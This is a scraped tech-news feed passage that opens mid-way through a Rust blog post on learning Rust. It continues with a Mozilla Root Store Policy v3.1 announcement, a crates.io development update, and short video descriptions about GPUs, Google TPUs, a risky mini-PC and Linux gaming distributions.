<p>"We're not fully sure how async [Rust] will work out in the long run in our domain. [..] People don't feel comfortable yet since C++14 doesn't provide such concepts. [..] It's the chicken-and-egg problem again: we probably need to gain some experience to see whether we can actually benefit from these new concepts in the automotive and safety domains." -- Team Lead at Automotive Supplier (ASIL D target)</p>
</blockquote>
<p>We heard in at least one case, that while the language was challenging and there was a near bounce, the tooling helped keep them coming back and trying.</p>
<blockquote>
<p>"Well, I think my early impressions of Rust - one is I find C++ so intimidating, and I think a big part of why I was able to succeed at [..] learning Rust is the tooling. I mean, all this makes sense [..] but it's like, for me, getting started with Rust, the language was challenging, but the tooling was incredibly easy." -- Founder of another startup built on Rust</p>
</blockquote>
<p>While it might be considered more of a community concern, if there are interactions online and in spaces that point to learners having
so-called "skill issues" this feeds into the narrative that Rust must be hard to learn. We may be unintentionally turning away Rust Project contributors and maintainers due to the vibes being put out when new learners show up in certain spaces.</p>
<blockquote>
<p>"People are very helpful, but generally the attitude is: if your program is very complicated, it's mostly a skill issue. There's not that much empathy when people get stuck learning, and a lot of people are just pushed away by it. There's probably a huge number of people who silently stop wanting to write Rust, because at some point it gets complicated and the feedback they get is 'you just need to be a better programmer, obviously'." -- Software Engineer at a SaaS Provider</p>
</blockquote>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#feedback-on-near-bounces-from-survey"></a>
Feedback on near-bounces from survey</h4>
<p>We found a few interesting perspectives collected in the Rust Vision doc survey which we administered with examples of bouncing and coming back:</p>
<blockquote>
<p>"I started before 1.0, got stuck very soon when trying to translate patterns from C++ to Rust (due to borrow checking). I tried again after 1.0 and it stuck. [..]" -- Survey Respondent A</p>
</blockquote>
<p>Survey Respondent A went on to share in a more detailed response about a perceived weakness in Rust learning materials related to lifetimes and the borrow checker are explained. There was an observation that it's fairly easy to run into more complex situations with lifetimes and the borrow checker. They felt that the current state of this sort of material and tutorials is fairly superficial and can leave learners stuck when they run into those more complex situations.</p>
<p>One respondent that bounced once and came back shared challenges around usage of async. In concert with Rust's memory-safety and the borrow checker, they found some of the nitty-gritty details of async were difficult to learn. While we're aware of the Rust Project's continuous efforts to improve Rust's async story, this is another data point of a user that faced challenges.</p>
<p>Another survey respondent shared how they had multiple times bounced in trying to learn Rust. They returned after a year or so and found Rustlings to be highly motivating. We note that having multiple pathways for folks to learn Rust opens up more possibilities for those that nearly bounced, just like this person.</p>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#need-more-focused-work-on-silent-attritrion"></a>
Need more focused work on silent attritrion</h4>
<p>The thing that stood out most to us was the lack of real, first-hand knowledge of having bounced when learning Rust. While this is an obvious effect of soliciting answers to our survey and opportunities to interview through Rust channels and our networks, this cohort is good future candidate where interviews could start.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#conclusions"></a>
Conclusions</h3>
<p>Across these conversations, the experience of learning Rust depended heavily on context. Why someone was learning and what support they had mattered as much as the borrow checker. The same kinds of examples kept coming up: a training course that got a team to a shared baseline, a maintainer answering a student's first GitHub issue, and a colleague whose code showed that cloning was okay.</p>
<p>That context is largely something the community has a hand in. With that in mind, here is what we take away from what we heard, and what we still don't know.</p>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#what-seems-worth-trying"></a>
What seems worth trying</h4>
<p><strong>Learning materials aimed at unlearning.</strong> Syntax barely came up when people described their struggles. People struggled with unlearning habits from previous languages, whether OOP structuring from C++ and Java or the instinct to grab a raw pointer to a peripheral. Most of our learning materials teach Rust from first principles, and that works. What we didn't come across is much written for, say, the engineer with ten years of Java who lands on a Rust team after a reorg: material that names the patterns they'll reach for that won't transfer, and shows what to do instead. The professor we spoke with did a version of this in the classroom, leaning on "traits are like interfaces in Java" and saving generics for later in the course, and the students did fine. Something similar could work outside the classroom too.</p>
<p><strong>Put the "clone freely while you're learning" advice somewhere official.</strong> Every experienced developer we spoke with gave the same advice, but learners seem to mostly pick it up by accident, like the researcher who happened to see someone else cloning the struct they had been carefully threading lifetimes through. Saying it early in official materials would take some of the steepness out of the curve. The broader version belongs there too: idiomatic Rust doesn't have to mean optimal Rust, especially on a first project.</p>
<p><strong>Diagnostics are already a primary learning resource: several people told us the compiler taught them lifetimes before any documentation did.</strong> Diagnostics reach learners right at the moment they're stuck. When writing new ones, it seems worth keeping the confused newcomer in mind alongside the expert, because for a lot of people this is where the learning happens.</p>
<p><strong>Is "the book" actually out of date?</strong> Whether or not The Rust Programming Language or other materials are actually behind, a team evaluating Rust looked at its repository, saw unresolved issues and unmerged PRs, and moved on. As more companies evaluate adoption, more people will look at these materials with the same fresh eyes. Visible issue triage and some communication about what's current and what's planned would address the perception, separately from whatever content work may or may not be needed.</p>
<p><strong>How stuck learners get treated is shaping who stays.</strong> We heard about students getting answers on GitHub from the maintainers who wrote the code, and we heard about learners being told their struggles were a skill issue. The first group came away with a lasting good impression of Rust. Some of the second group walked away entirely, and because they leave quietly, it's easy to underestimate how many of them there are. The welcoming side of the community came up unprompted as a reason people stayed, so we know it makes a difference when we get this right.</p>
<p><strong>Every organization we spoke with described essentially the same ramp-up for bringing a team to Rust.</strong> Teams that brought groups of developers to Rust described roughly the same approach: get everyone to a shared baseline with a training course or with The Rust Programming Language and Rustlings, start people on lower-risk tickets, and give them somewhere internal to ask questions. Several organizations also found that hiring developers without Rust experience and ramping them up worked out better than continuing to search for rare expertise in another language. None of this is complicated, and teams weighing adoption don't need to invent a training program from scratch.</p>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#what-we-still-don-t-know"></a>
What we still don't know</h4>
<p>The biggest gap is the people we didn't reach. Nearly everyone we spoke with stuck with Rust long enough to be reachable through Rust channels, so the stories of bouncing off came to us second-hand: a friend who walked away from embedded Rust, colleagues who quietly stopped after the responses they got. As we wrote in <a href="https://blog.rust-lang.org/2025/12/03/lessons-learned-from-the-rust-vision-doc-process/" rel="external">our first post</a>, finding people who decided against Rust takes targeted outreach. If the proposed User Research team comes together, talking with learners who bounced would make a good early project, and learning is probably the area where that research would teach us the most.</p>
<p>We also don't know what to make of LLMs as a learning tool yet. They came up as a search engine, as an example generator, and in one organization's case as something that makes training high school graduates into working Rust developers possible. We saw a classroom where the C cohort leaned on LLMs in ways the Rust cohort couldn't, and we don't have an explanation for it. All of this comes from a handful of conversations, so we treat it as a set of leads to follow up on. Given how quickly the tools are changing, it seems better to study this deliberately than to wait and see what folklore develops.</p>
<p>The folks we spoke with showed that people do get there: with enough passes through the materials and enough code written, it eventually clicks. The opportunities above are mostly about making it work for the people who didn't pick Rust on purpose, and for the ones who would have stuck around if their early experience had gone a little differently.</p>]]></content:encoded>
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<title><![CDATA[Mozilla Security Blog: Improving Transparency and Assurance in the Web PKI: Mozilla Root Store Policy v3.1]]></title>
<description><![CDATA[Mozilla remains committed to maintaining a secure, trustworthy, and transparent Web PKI. Today we are announcing the publication of Mozilla Root Store Policy (MRSP) version 3.1, effective July 1, 2026.
While previous policy updates focused heavily on certificate revocation, automation, and operat...]]></description>
<link>https://tsecurity.de/de/3693288/tools/mozilla-security-blog-improving-transparency-and-assurance-in-the-web-pki-mozilla-root-store-policy-v31/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693288/tools/mozilla-security-blog-improving-transparency-and-assurance-in-the-web-pki-mozilla-root-store-policy-v31/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:23 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Mozilla remains committed to maintaining a secure, trustworthy, and transparent Web PKI. Today we are announcing the publication of <a href="https://www.mozilla.org/en-US/about/governance/policies/security-group/certs/policy/">Mozilla Root Store Policy</a> (MRSP) version 3.1, effective July 1, 2026.</p>
<p>While previous policy updates focused heavily on certificate revocation, automation, and operational resilience, MRSP v3.1 focuses on a different challenge: ensuring that Certification Authority (CA) operations are sufficiently transparent, understandable, and auditable.</p>
<p>Trust in the Web PKI depends not only on technical requirements, but also on the ability of Mozilla, auditors, and the broader community to understand how CA systems are designed, operated, and assessed. MRSP v3.1 introduces new requirements intended to improve the quality of CA documentation and strengthen independent assurance of the design and effectiveness of controls that protect CA systems.</p>
<h3><b>Improving CP/CPS Documentation</b></h3>
<p>Certification Practice Statements (CPSes) and combined Certificate Policy / Certification Practice Statement documents (CP/CPSes) are among the most important public documents published by a CA. They describe how a CA conducts its operations and meets industry requirements.</p>
<p>Over the years, we have seen significant variation in the quality, structure, and level of detail provided in CP/CPS documentation. Some documents provide extensive implementation detail, while others rely heavily on incorporation by reference or provide only high-level descriptions of CA practices.</p>
<p>The revised policy will continue to require conformance with RFC 3647, as modified by applicable CA/Browser Forum requirements. Improvements to section 3.3 in the MRSP will establish clearer expectations regarding the content and quality of CP/CPS documentation. The new requirements emphasize that documentation must be explicit, bounded, auditable, and sufficiently detailed to describe the CA operator’s certificate issuance and management activities, while also establishing requirements for version control, accessibility, and ongoing maintenance. The objective is to ensure that a technically competent reviewer will be better-able to determine what commitments the CA has made, how those commitments are implemented, and whether the documented practices support technical, operational, and performance oversight.</p>
<p>Mozilla believes that these new CP/CPS requirements will improve transparency, reduce misunderstandings, support more effective audits, and help reduce the risk of certificate misissuance by ensuring that operational practices are documented accurately, consistently, and in sufficient detail to permit meaningful review.</p>
<h3><b>Introducing Detailed Controls Reports</b></h3>
<p>A second major enhancement in MRSP v3.1 is the introduction of Detailed Controls Reports (DCRs). Traditional WebTrust and ETSI audit reports provide valuable independent assurance regarding compliance with established criteria. However, they generally provide only limited visibility into the specific controls, testing procedures, and operational environments that support those conclusions.</p>
<p>Beginning with audit periods starting on or after July 1, 2027, CA operators with root certificates enabled for TLS website authentication will be required to obtain a DCR. The purpose of the DCR is to provide CA management, auditors, and Mozilla with greater visibility into the controls, testing, and operating effectiveness of CA systems that support compliance with the CA/Browser Forum’s TLS Baseline Requirements and Network and Certificate System Security Requirements. Mozilla generally expects to review DCRs only on an as-needed basis, such as during compliance reviews, incident investigations, root inclusion evaluations, or other oversight activities.</p>
<p>A DCR must include:</p>
<ul>
<li>The scope and boundaries of the audited CA systems;</li>
<li>Applicable audit criteria;</li>
<li>Controls implemented by the CA;</li>
<li>The auditor’s testing procedures;</li>
<li>Results of control testing; and</li>
<li>Information regarding control exceptions or deficiencies.</li>
</ul>
<p>Mozilla expects that DCRs will complement existing audit reports and strengthen transparency and assurance by providing additional detail regarding system boundaries, control implementation, testing procedures, and control effectiveness that is not typically available in traditional audit reports. Effective compliance requires more than documented policies and successful audits; it also requires management understanding, oversight, and engagement. By providing greater visibility into CA systems, controls, testing activities, and operational risks, DCRs can help reinforce a strong tone at the top regarding compliance expectations, support informed decision-making and resource allocation, enable earlier identification of weaknesses, and promote a culture of continuous improvement. The intent is not to replace existing audit reports, but to provide additional information that supports effective governance, oversight, and informed trust decisions.</p>
<h3><b>Additional Clarifications and Improvements</b></h3>
<p>MRSP v3.1 also includes several targeted clarifications and refinements:</p>
<ul>
<li>aligns Mozilla’s mass revocation planning requirements with the corresponding CA/Browser Forum Baseline Requirements, helping ensure consistency across compliance frameworks;</li>
<li>clarifies audit expectations for root inclusion requests, including requirements relating to audit continuity and root key generation ceremonies;</li>
<li>requires root CA key pairs submitted for inclusion to have been generated within the previous five years, helping ensure that newly included roots are based on contemporary cryptographic practices and controls; and</li>
<li>clarifies expectations when ownership or operational control of a CA changes, helping ensure that Mozilla receives timely notice and can evaluate the impact of acquisitions or organizational changes on continued compliance.</li>
</ul>
<h3><b>Looking Forward</b></h3>
<p>Mozilla recognizes that these changes will require preparation by CA operators, auditors, and other ecosystem participants. To support implementation, Mozilla is publishing accompanying wiki guidance regarding both <a href="https://wiki.mozilla.org/CA/CP-CPS_Guidance">CP/CPS Documentation</a> and <a href="https://wiki.mozilla.org/CA/DCRs">Detailed Controls Reports</a>.</p>
<p>As with previous policy updates, these changes were informed by discussions with CA operators, auditors, and members of the Web PKI community. We appreciate the feedback received during the review process and look forward to continued collaboration as the ecosystem evolves.</p>
<p>Mozilla has a longstanding focus on building confidence in the Web PKI through transparency, accountability, and continuous improvement. By requiring higher-quality CP/CPS documentation and strengthening independent assurance, MRSP v3.1 advances Mozilla’s commitment to protecting its users and maintaining their trust in the systems that help secure the web.</p>
<p>The post <a href="https://blog.mozilla.org/security/2026/06/29/improving-transparency-and-assurance-in-the-web-pki-mozilla-root-store-policy-v3-1/">Improving Transparency and Assurance in the Web PKI: Mozilla Root Store Policy v3.1</a> appeared first on <a href="https://blog.mozilla.org/security">Mozilla Security Blog</a>.</p>]]></content:encoded>
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<title><![CDATA[The Rust Programming Language Blog: crates.io: development update]]></title>
<description><![CDATA[Another six months have passed since our last development update, and the crates.io team has been busy. Here's a summary of the most notable changes and improvements made to crates.io since then.

Source Code Viewer
Crate pages now have a "Code" tab that lets you browse the contents of published ...]]></description>
<link>https://tsecurity.de/de/3693285/tools/the-rust-programming-language-blog-cratesio-development-update/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693285/tools/the-rust-programming-language-blog-cratesio-development-update/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:18 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Another six months have passed since our <a href="https://blog.rust-lang.org/2026/01/21/crates-io-development-update/" rel="external">last development update</a>, and the crates.io team has been busy. Here's a summary of the most notable changes and improvements made to <a href="https://crates.io/" rel="external">crates.io</a> since then.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/#source-code-viewer"></a>
Source Code Viewer</h3>
<p>Crate pages now have a "Code" tab that lets you browse the contents of published crate versions directly on crates.io. This shows you the exact files that <code>cargo</code> downloads when you add a crate as a dependency, which might differ from the linked repository. This makes it much easier to audit your dependencies, including files that never appear in the repository, like the normalized <code>Cargo.toml</code> files that <code>cargo</code> generates.</p>
<p><img alt='Source code viewer showing the "Code" tab of the serde crate' src="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/code-tab.png"></p>
<p>The viewer comes with a file tree sidebar with search functionality, syntax highlighting, and GitHub-style line selection, where clicking or dragging line numbers produces shareable <code>#L10-L20</code> URLs.</p>
<p>Under the hood, the server now builds a zip file for every published version. Since the <code>.crate</code> files that <code>cargo</code> consumes are gzipped tarballs without random access support, a background job re-packs each of them into a seekable zip archive plus a JSON manifest describing the contained files. Both are served from our static CDN. The frontend then fetches only the manifest and loads each file on demand with an HTTP range request. Because of this architecture, browsing crate sources essentially adds no load on the crates.io API servers. Existing crate versions have been backfilled, so this works for old releases too.</p>
<p>The rendering library behind the code viewer is a diff renderer at heart, and that's no accident: a version-to-version diff viewer built on the same infrastructure is currently in the works. This will allow you to review exactly what changed between two published versions, right on crates.io. Stay tuned!</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/#untangling-crates-io-accounts-from-github"></a>
Untangling crates.io Accounts from GitHub</h3>
<p>At the end of May, the crates.io team accepted <a href="https://github.com/rust-lang/rfcs/pull/3946" rel="external">RFC #3946</a>. Crates.io accounts always have been tightly coupled to GitHub: signing in means "Log in with GitHub", and your crates.io identity is your GitHub username. The RFC changes that. It introduces usernames that are native to crates.io and independent of linked GitHub accounts, as a prerequisite for eventually supporting login via other identity providers.</p>
<p>The implementation of crates.io usernames has started, but there is still a lot left to do, most visibly the ability to change your crates.io username. After that is complete, there will be future RFCs and implementation for signing in with identity providers other than GitHub. Since all of this touches authentication and account security, we are deliberately taking it slow and rolling these changes out in small, carefully reviewed steps.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/#advisories-and-suggestions"></a>
Advisories and Suggestions</h3>
<p>In our <a href="https://blog.rust-lang.org/2026/01/21/crates-io-development-update/" rel="external">January update</a> we introduced the "Security" tab, which shows security advisories from the <a href="https://rustsec.org/" rel="external">RustSec</a> database. We have since taken this integration one step further: crates that RustSec has flagged as unmaintained now show a warning banner directly on their crate pages, linking to the corresponding advisory for details and possible alternatives. Thanks to <a href="https://github.com/djc" rel="external">Dirkjan Ochtman</a> for implementing this feature!</p>
<p><img alt="Unmaintained warning banner on the ansi_term crate page" src="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/unmaintained-banner.png"></p>
<p>Related to this, some popular crates have been largely absorbed into the Rust standard library over the years, like <code>lazy_static</code>, which has been superseded by <code>std::sync::LazyLock</code> since Rust 1.80. Crate pages of such crates now show a friendly "You might not need this dependency" banner describing the standard library replacement, and superseded crates in dependency lists get a small light bulb icon with a similar hint.</p>
<p><img alt='"You might not need this dependency" banner on the lazy_static crate page' src="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/std-replacement-banner.png"></p>
<p>The dataset behind this feature lives in the new <a href="https://github.com/rust-lang/std-replacement-data" rel="external">rust-lang/std-replacement-data</a> repository, together with a documented inclusion policy: standard library replacements only, every entry must cite the stable <code>std</code>, <code>core</code>, or <code>alloc</code> API and Rust version, and crate maintainers get a notice-and-comment window before an entry is added. New entries can be proposed upstream and can benefit other tools too.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/#ferris"></a>
Ferris</h3>
<p>The most delightful change of this cycle: the Ferris on our error pages now follows your mouse cursor with its eyes:</p>
<p><img alt="Ferris' eyes following the mouse cursor on the error page" src="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/ferris.gif"></p>
<p>Getting a 404 error on crates.io is now slightly less sad.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/#svelte-frontend-migration-completed"></a>
Svelte Frontend Migration Completed</h3>
<p>In our <a href="https://blog.rust-lang.org/2026/01/21/crates-io-development-update/" rel="external">January update</a>, we announced that we were experimenting with porting the crates.io frontend from Ember.js to <a href="https://svelte.dev/" rel="external">Svelte</a>. This experiment has concluded successfully: the new frontend reached feature parity, went through a <a href="https://blog.rust-lang.org/inside-rust/2026/04/17/crates-io-svelte-public-testing/" rel="external">public testing phase</a> in April, became the default at the beginning of May, and the Ember.js app has been removed from our repository.</p>
<p>We designed this change to be invisible for our users, since the new frontend is a 1:1 port of the previous design and functionality. For the team and our contributors, however, it is a big deal: the frontend is now built on a more modern framework, which should make it easier for new contributors to get started. It also allows us to iterate faster, as the source code viewer above demonstrates.</p>
<p>We want to thank the <a href="https://emberjs.com/teams/" rel="external">Ember.js team</a> for a framework that served crates.io well for many years, and the Svelte team for making the transition so enjoyable.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/#miscellaneous"></a>
Miscellaneous</h3>
<p>These were some of the more visible changes to crates.io over the past six months, but a lot has happened "under the hood" as well:</p>
<ul>
<li>
<p><strong>Search performance</strong>: Relevance-sorted search queries previously ranked every crate matching the query, which could take 1-2 seconds for short or common search terms. Ranking is now bounded to the 1,000 matching crates with the highest recent download counts.</p>
</li>
<li>
<p><strong>Reverse dependencies performance</strong>: The reverse dependencies endpoint no longer recomputes the full dependent set on every request. It is now served from a precomputed table kept in sync by database triggers, turning an expensive join into a bounded index scan and greatly reducing the chance of getting a timeout error.</p>
</li>
<li>
<p><strong>New ARCHITECTURE.md</strong>: If you've ever wondered how crates.io actually works, our <a href="https://github.com/rust-lang/crates.io/blob/main/docs/ARCHITECTURE.md" rel="external"><code>ARCHITECTURE.md</code></a> document got a complete rewrite. It is now organized around the high-level systems that make up crates.io and how they fit together, and includes walkthroughs of what happens when you run <code>cargo publish</code>, why a typical crate download never touches our API servers, and how download counts are derived from CDN access logs.</p>
</li>
<li>
<p><strong>Definition lists</strong>: READMEs now render Markdown <a href="https://github.com/rust-lang/crates.io/pull/13950" rel="external">definition lists</a>, a widely used Markdown extension. Our markdown renderer <a href="https://crates.io/crates/comrak" rel="external">comrak</a> already supported them, the extension just wasn't enabled yet. Thanks to <a href="https://github.com/mistaste" rel="external">@mistaste</a> for this contribution!</p>
</li>
<li>
<p><strong>CDN cache tags</strong>: Files uploaded to our static CDN now carry cache-tag metadata, allowing us to invalidate all cached files of a crate or a specific release in a single operation, instead of issuing one invalidation per file URL.</p>
</li>
<li>
<p><strong>Caching improvements</strong>: We removed a global <code>Vary: Cookie</code> response header that was preventing our CDNs from caching public API responses and frontend assets effectively. Per-user responses now use <code>Cache-Control: no-store</code> instead, resulting in better cache hit rates at the CDN edge.</p>
</li>
<li>
<p><strong>Accessibility</strong>: We have made crates.io friendlier to screen readers: decorative icons are now hidden from the accessibility tree, heading hierarchies have been fixed, and lists are marked up as proper lists. ARIA snapshot tests now ensure that regressions can't slip in unnoticed. We plan to continue to improve crates.io accessibility over the coming months.</p>
</li>
<li>
<p><strong>Git index performance</strong>: The background worker's local clone of the git index is now a bare and shallow repository, eliminating roughly 250,000 checked-out files and the full commit history from its disk, improving its performance as we see increased rates of crate publication. The periodic index squashing now goes through the GitHub API instead of generating large git packs locally, which had previously caused out-of-memory failures on the production worker.</p>
</li>
</ul>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/#feedback"></a>
Feedback</h3>
<p>We hope you enjoyed this update on the development of crates.io. If you have any feedback or questions, please let us know on <a href="https://rust-lang.zulipchat.com/#narrow/stream/318791-t-crates-io" rel="external">Zulip</a> or <a href="https://github.com/rust-lang/crates.io/discussions" rel="external">GitHub</a>. We are always happy to hear from you and are looking forward to your feedback!</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Ich teste die GTX 1080 Ti in 2026 – und bin überrascht!]]></title>
<description><![CDATA[Author: PC-WELT - Bewertung: 567x - Views:55426 Die GTX 1080 Ti war keine normale Grafikkarte - schon bei ihrem Erscheinen war klar: Das ist was besonderes. Günstiger UND schneller als das absolute Spitzenmodell Titan X, üppig ausgestattet, pure Rechenpower. Kein Wunder, dass die 1080 Ti heute im...]]></description>
<link>https://tsecurity.de/de/3693242/videos/ich-teste-die-gtx-1080-ti-in-2026-und-bin-ueberrascht/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693242/videos/ich-teste-die-gtx-1080-ti-in-2026-und-bin-ueberrascht/</guid>
<pubDate>Sat, 25 Jul 2026 08:36:07 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: PC-WELT - Bewertung: 567x - Views:55426 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/8n8FPxsOO18?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>Die GTX 1080 Ti war keine normale Grafikkarte - schon bei ihrem Erscheinen war klar: Das ist was besonderes. Günstiger UND schneller als das absolute Spitzenmodell Titan X, üppig ausgestattet, pure Rechenpower. Kein Wunder, dass die 1080 Ti heute immer noch gefeiert wird.<br />
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<br />
0:00 Intro<br />
1:33 SO gut war die 1080 Ti! (und so günstig)<br />
5:35 Cyberpunk 2077 Benchmark<br />
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https://www.youtube.com/playlist?list=PLVC_WMwVwvSjZfr6GlSyy-bNEXm9b-lN3<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Google’s New Dual-TPU Chip Made The Most Advanced AI GPUs Look Like a JOKE!]]></title>
<description><![CDATA[Author: Evolving AI - Bewertung: 328x - Views:12498 Google just revealed two brand-new AI chips—and they could change the future of artificial intelligence. Instead of building one GPU to handle everything, Google introduced its 8th-generation Tensor Processing Units: TPU 8t for AI training and T...]]></description>
<link>https://tsecurity.de/de/3693239/videos/googles-new-dual-tpu-chip-made-the-most-advanced-ai-gpus-look-like-a-joke/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693239/videos/googles-new-dual-tpu-chip-made-the-most-advanced-ai-gpus-look-like-a-joke/</guid>
<pubDate>Sat, 25 Jul 2026 08:36:03 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Evolving AI - Bewertung: 328x - Views:12498 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/c5Ux68tILGg?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>Google just revealed two brand-new AI chips—and they could change the future of artificial intelligence. Instead of building one GPU to handle everything, Google introduced its 8th-generation Tensor Processing Units: TPU 8t for AI training and TPU 8i for AI inference and reasoning. The company believes future AI infrastructure needs specialized hardware rather than one general-purpose accelerator. In this video, we break down Google&#039;s new TPU architecture, including 121 exaflops of compute, superpods with up to 9,600 chips, 2 petabytes of shared memory, Virgo networking, TPUDirect, Boardfly topology, Axion CPUs, and next-generation liquid cooling. We also explain why Google optimized TPU 8i for reasoning models, AI agents, and massive inference workloads with 288GB of HBM and dramatically improved memory performance. Could Google&#039;s specialized TPU strategy become the future of AI computing? And is this the first real architectural challenge to NVIDIA&#039;s GPU dominance?<br />
<br />
#Google #TPU #NVIDIA #AIChips #ArtificialIntelligence #GoogleCloud #Semiconductors<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Finger weg von diesem Mini-PC!]]></title>
<description><![CDATA[Author: heise &amp; c't - Bewertung: 2096x - Views:38698 Ein günstiger China-Mini-PC für 220 Euro klingt verlockend – doch beim Bmax B6 Plus lauern versteckte Sicherheitslücken, eine ungültige Windows-Lizenz und sogar Trojaner in den offiziellen Hersteller-Downloads. Wir zeigen euch, welche Gefah...]]></description>
<link>https://tsecurity.de/de/3693233/videos/finger-weg-von-diesem-mini-pc/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693233/videos/finger-weg-von-diesem-mini-pc/</guid>
<pubDate>Sat, 25 Jul 2026 08:35:55 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: heise &amp;amp; c&#039;t - Bewertung: 2096x - Views:38698 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/uJqqk9XlBuM?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>Ein günstiger China-Mini-PC für 220 Euro klingt verlockend – doch beim Bmax B6 Plus lauern versteckte Sicherheitslücken, eine ungültige Windows-Lizenz und sogar Trojaner in den offiziellen Hersteller-Downloads. Wir zeigen euch, welche Gefahren drohen und warum ein professionell aufbereiteter Refurbished-PC oft die deutlich bessere Alternative ist.<br />
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_____<br />
Redaktion &amp; Video: Gordon Hof<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Ich brauche Windows nicht mehr! Bazzite vs. CachyOS]]></title>
<description><![CDATA[Author: PC-WELT - Bewertung: 1109x - Views:21055 Gaming auf Linux war lange kompliziert oder scheiterte gleich am Game-Support. Doch die Zeiten sind vorbei - dank Distros wie Bazzite oder CachyOS macht Zocken auf Linux mittlerweile richtig Bock. Doch welche Gaming-Distro ist die beste? Was sind d...]]></description>
<link>https://tsecurity.de/de/3693230/videos/ich-brauche-windows-nicht-mehr-bazzite-vs-cachyos/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693230/videos/ich-brauche-windows-nicht-mehr-bazzite-vs-cachyos/</guid>
<pubDate>Sat, 25 Jul 2026 08:35:50 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: PC-WELT - Bewertung: 1109x - Views:21055 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/Rh0mNmOtHgs?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>Gaming auf Linux war lange kompliziert oder scheiterte gleich am Game-Support. Doch die Zeiten sind vorbei - dank Distros wie Bazzite oder CachyOS macht Zocken auf Linux mittlerweile richtig Bock. Doch welche Gaming-Distro ist die beste? Was sind die Unterschiede zwischen Bazzite und CachyOS? Das hab ich mir mal genauer angeschaut.<br />
<br />
► https://youtu.be/Zz-qL5JRm4s<br />
<br />
► https://youtu.be/j0pM0S3wmbc<br />
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► https://www.youtube.com/watch?v=mVXONaHZvFU<br />
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<br />
0:00 – Intro: Ist Linux-Gaming 2026 die bessere Wahl?<br />
0:52 – Was ist CachyOS? (Arch Linux &amp; Rolling Releases)<br />
1:29 – Warum CachyOS schneller läuft (CPU-Optimierung &amp; Compiler-Standards)<br />
2:57 – Installation &amp; Dual-Boot im Vergleich<br />
3:38 – Anpassbarkeit: Desktops &amp; Bootloader<br />
3:59 – Systemsicherheit: Die &quot;Atomic Updates&quot; von Bazzite<br />
4:32 – Software-Quellen: CachyOS (Pacman &amp; AUR) vs. Bazzite (Flatpaks)<br />
5:46 – Out-of-the-Box: Wer ist schneller spielbereit?<br />
6:36 – Spiele-Performance &amp; das Nvidia-Treiber-Problem unter Linux<br />
7:01 – Fazit: Welches OS ist besser für dich?<br />
7:39 – Handheld-Gaming (Steam Deck &amp; Co.): Bazzite weiterhin vorn?<br />
8:15 – Outro<br />
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Headset: https://de-de.sennheiser.com/hsp-essential-omni<br />
Shotgun: https://amzn.to/2HdVKIT<br />
<br />
➡️ Kamera-Cages &amp; Zubehör:<br />
SmallRig-Cages: https://amzn.to/4atoPM4<br />
Damit habt Ihr alles im Griff:https://amzn.to/2SmfptN<br />
<br />
➡️ Schulter-Rig: https://amzn.to/3Rm9ZQX<br />
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--------<br />
<br />
Auf dem PC-WELT-Kanal findet Ihr alles rund um das Thema PCs &amp; (Gaming-)Hardware. Bei uns gibt&#039;s alle wichtigen Infos, Tests und Hands-ons rund um die spannendsten Geräte.<br />
<br />
--------<br />
